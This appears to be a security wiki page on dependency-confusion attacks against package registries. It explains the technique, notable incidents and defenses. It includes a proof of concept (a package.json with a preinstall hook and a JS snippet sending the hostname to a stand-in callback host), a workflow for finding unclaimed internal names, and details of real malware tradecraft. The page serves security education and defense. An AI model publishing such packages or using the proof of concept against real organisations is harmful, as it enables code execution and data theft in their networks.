# Dependency Confusion
> Publishing a package to a public registry under the name of an organization's private/internal package, so a misconfigured resolver pulls the attacker's (usually higher-versioned) public copy and runs its install hooks inside the victim's network or CI.
## How it works
Package managers identify packages by **name only**. Organizations host internal packages on a private registry (Artifactory, AWS CodeArtifact, an internal PyPI index) and point clients at both private and public sources. If any build resolves an internal name against the public registry, or merges the two and takes the highest version, the attacker wins.
- **Recon** — harvest internal names from leaked `package.json`/`requirements.txt` in public GitHub repos, misconfigured web directories, JS source maps, error logs, shipped software, or just guess them.
- **Publish** — register the exact name publicly with an inflated version (`99.9.9`, `99.99.99`, `100.100.100`) so "latest" resolution prefers it over internal `1.0.0`.
- **Execute** — npm lifecycle scripts (`preinstall`/`install`/`postinstall`) run arbitrary shell as the installing user during `npm install`; no `require()` by victim code is needed. The payload lands on dev workstations and CI runners.
Resolver behavior is ecosystem- and config-specific. The canonical bad config is pip's discouraged `--extra-index-url`: with the package present on both the private index and PyPI, pip picks the **highest version** regardless of source. Andrew Nesbitt's survey of ~200 package-manager CVEs lists "dependency confusion from incorrect source prioritization" as one of ~20 recurring client-side bug patterns.
Variants:
- **Scope/namespace squatting** — on npm, registering an organizational scope (`@corp/...`) the real org never claimed on the public registry, then publishing the internal package names under it.
- **Package aliasing** — npm aliases (`"string-width-cjs": "npm:string-width@^4.2.0"`) make a `node_modules` entry whose name differs from its contents; Snyk (2021, Nishant Jain) showed the npmjs registry can be fooled into misreporting dependency info via aliasing as a dependency-confusion extension. Audit lockfiles with `lockfile-lint`.
- **Hallucinated names** — AI-invented dependency names are a sibling vector; see [[Slopsquatting]].
## Techniques / payloads
Bug-bounty-safe PoC (no secrets exfiltrated; DNS callback proves execution context):
```json
{ "name": "target-internal-auth-lib", "version": "99.99.99",
"scripts": { "preinstall": "node index.js" } }
```
```js
const dns = require('dns'), os = require('os');
dns.lookup(`${os.hostname()}.your-collaborator.oast.example`, () => {});
```
Test locally with `npm install ./target-internal-auth-lib --foreground-scripts` and watch the Interactsh/Collaborator callback. Hunting flow: enumerate exposed manifests → check each name against the public registry → unregistered names are candidate internal packages.
Real-world malicious tradecraft (Microsoft, May 2026, `oob.moika[.]tech` cluster):
- Nine squatted scopes mirroring corporate namespaces (`@cloudplatform-single-spa`, `@sber-ecom-core`, `@payments-widget`, `@data-science`, …) with names like `svp-baas`, `ssh-keys`, `cp-api-gw`.
- Spoofed internal metadata: `repository: git+https://github.<scope>.io/platform/<pkg>.git`, fake `jira.<scope>.io`, `docs.<scope>.io`, author "`<Scope> Platform Engineering`".
- Version strategy mixed: `100.100.100` to win resolution vs realistic `3.5.22` to blend in.
- `postinstall` → obfuscator.io-style `scripts/postinstall.js` → HTTPS GET to C2 → payload to `tmpdir` → `spawn(..., {detached:true})`.
- **Skips execution when `CI` is set** (avoid monitored pipelines), checks Node ≥ 16, run-once marker in `~/.cache/._<scope>_init/`, `RECON_ONLY=1` flag toggled server-side for a later exploitation phase.
- Attribution via a shared hard-coded `X-Secret: l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1` across three accounts. One account (`mr.4nd3r50n`) began in April 2024 publishing "BugBounty testing" packages at `0.0.0`/`99.99.99` before shipping malware in 2026 — bug-bounty PoC names became a malware foothold.
## Notable cases
- **Alex Birsan (2021)** — named the technique; uploaded benign packages matching leaked/guessable internal names across three ecosystems and got code execution inside Apple, Microsoft and others. Microsoft's pipelines used `--extra-index-url`, so the higher-versioned public packages won.
- **PyTorch `torchtriton` (Dec 2022)** — internal dependency hosted on PyTorch's nightly index; an attacker published `torchtriton` to PyPI, which took precedence. Nightly builds shipped malware for five days.
- **Cordova App Harness (2024)** — archived Apache project exposed to a higher-versioned `cordova-harness-client` on the public registry.
- **`oob.moika[.]tech` campaign (May 2026)** — 33 packages per Microsoft; SafeDep later counted 179 packages across three accounts and multiple scopes, all exfiltrating `process.env` to `/report`. See also [[Malicious Packages]].
- **`azure-sdk-for-net` on npm** — flagged by Snyk as a likely dependency-confusion probe against private packages of the same name.
## Defenses
- **Claim your namespace** publicly (npm scope / org) for all internal packages so outsiders can't publish into it; use unique, non-guessable internal names.
- **Never merge public + private indexes by version.** Avoid pip `--extra-index-url`; route all resolution through one proxy registry that resolves internal names only from the private source (curation-first / "managed ingestion").
- **Pin exact versions + commit lockfiles with hashes**; `2.1.3`, not `^2.1.3`. Lint lockfiles for unexpected resolved hosts.
- **Disable install scripts** in CI: `npm install --ignore-scripts` / `npm config set ignore-scripts true` (equivalent for pnpm/yarn).
- **Provenance binding** — SLSA: bind each internal package to its authorized builder and canonical source repo; verify build provenance at install. A confused public package can't forge SLSA L2+ provenance with the right builder ID/repo. See [[SBOM and Provenance]].
- Monitor public registries for packages matching internal names; scan new packages with tools such as GuardDog.
## Related
- [[Software Supply Chain Security]]
- [[Typosquatting]] · [[Slopsquatting]] · [[Malicious Packages]]
- [[SBOM and Provenance]] · [[CI-CD Pipeline Attacks|CI/CD Pipeline Attacks]]
- [[Out-of-Band Detection]] · [[Bug Bounty Methodology]]
## Sources
- [[raw/spectralops.io/5-examples-of-dependency-confusion-attacks-spectral-4468|5 Examples of Dependency Confusion Attacks (Spectral)]]
- [[raw/slsa.dev/defender-s-perspective-dep-confusion-and-typosquatting-slsa-4470|Defender's Perspective: Dep Confusion and Typosquatting (SLSA)]]
- [[raw/blogs.jsmon.sh/npm-supply-chain-attacks-explained-dependency-confusion-exploits-and-d-3038|NPM Supply Chain Attacks Explained: Dependency Confusion Exploits and Defense]]
- [[raw/microsoft.com/malicious-npm-packages-abuse-dependency-confusion-to-profile-developer-8363|Malicious npm packages abuse dependency confusion to profile developer environments]]
- [[raw/thehackernews.com/malicious-sicoob-nuget-steals-banking-credentials-as-npm-packages-targ-8365|Malicious Sicoob NuGet Steals Banking Credentials as npm Packages Target...]]
- [[raw/blog.trailofbits.com/supply-chain-attacks-are-exploiting-our-assumptions-3747|Supply chain attacks are exploiting our assumptions (Trail of Bits)]]
- [[raw/aquasec.com/what-is-a-dependency-confusion-attack-aqua-security-4469|What Is a Dependency Confusion Attack? (Aqua Security)]]
- [[raw/blog.gitguardian.com/protecting-your-software-supply-chain-typosquatting-and-dependency-con-3748|Protecting Your Software Supply Chain: Typosquatting and Dependency Confusion]]
- [[raw/snyk.io/the-mysterious-supply-chain-concern-of-string-width-cjs-npm-package-9342|The mysterious supply chain concern of string-width-cjs npm package]]
- [[raw/tldrsec.com/tl-dr-sec-334-thinkst-s-package-proxy-openai-daybreak-ai-agents-canari-9880|tl;dr sec #334 (Package Manager CWEs, Thinkst Package Proxy)]]
- [[raw/cloudsmith.com/the-2026-guide-to-software-supply-chain-security-3040|The 2026 Guide to Software Supply Chain Security (Cloudsmith)]]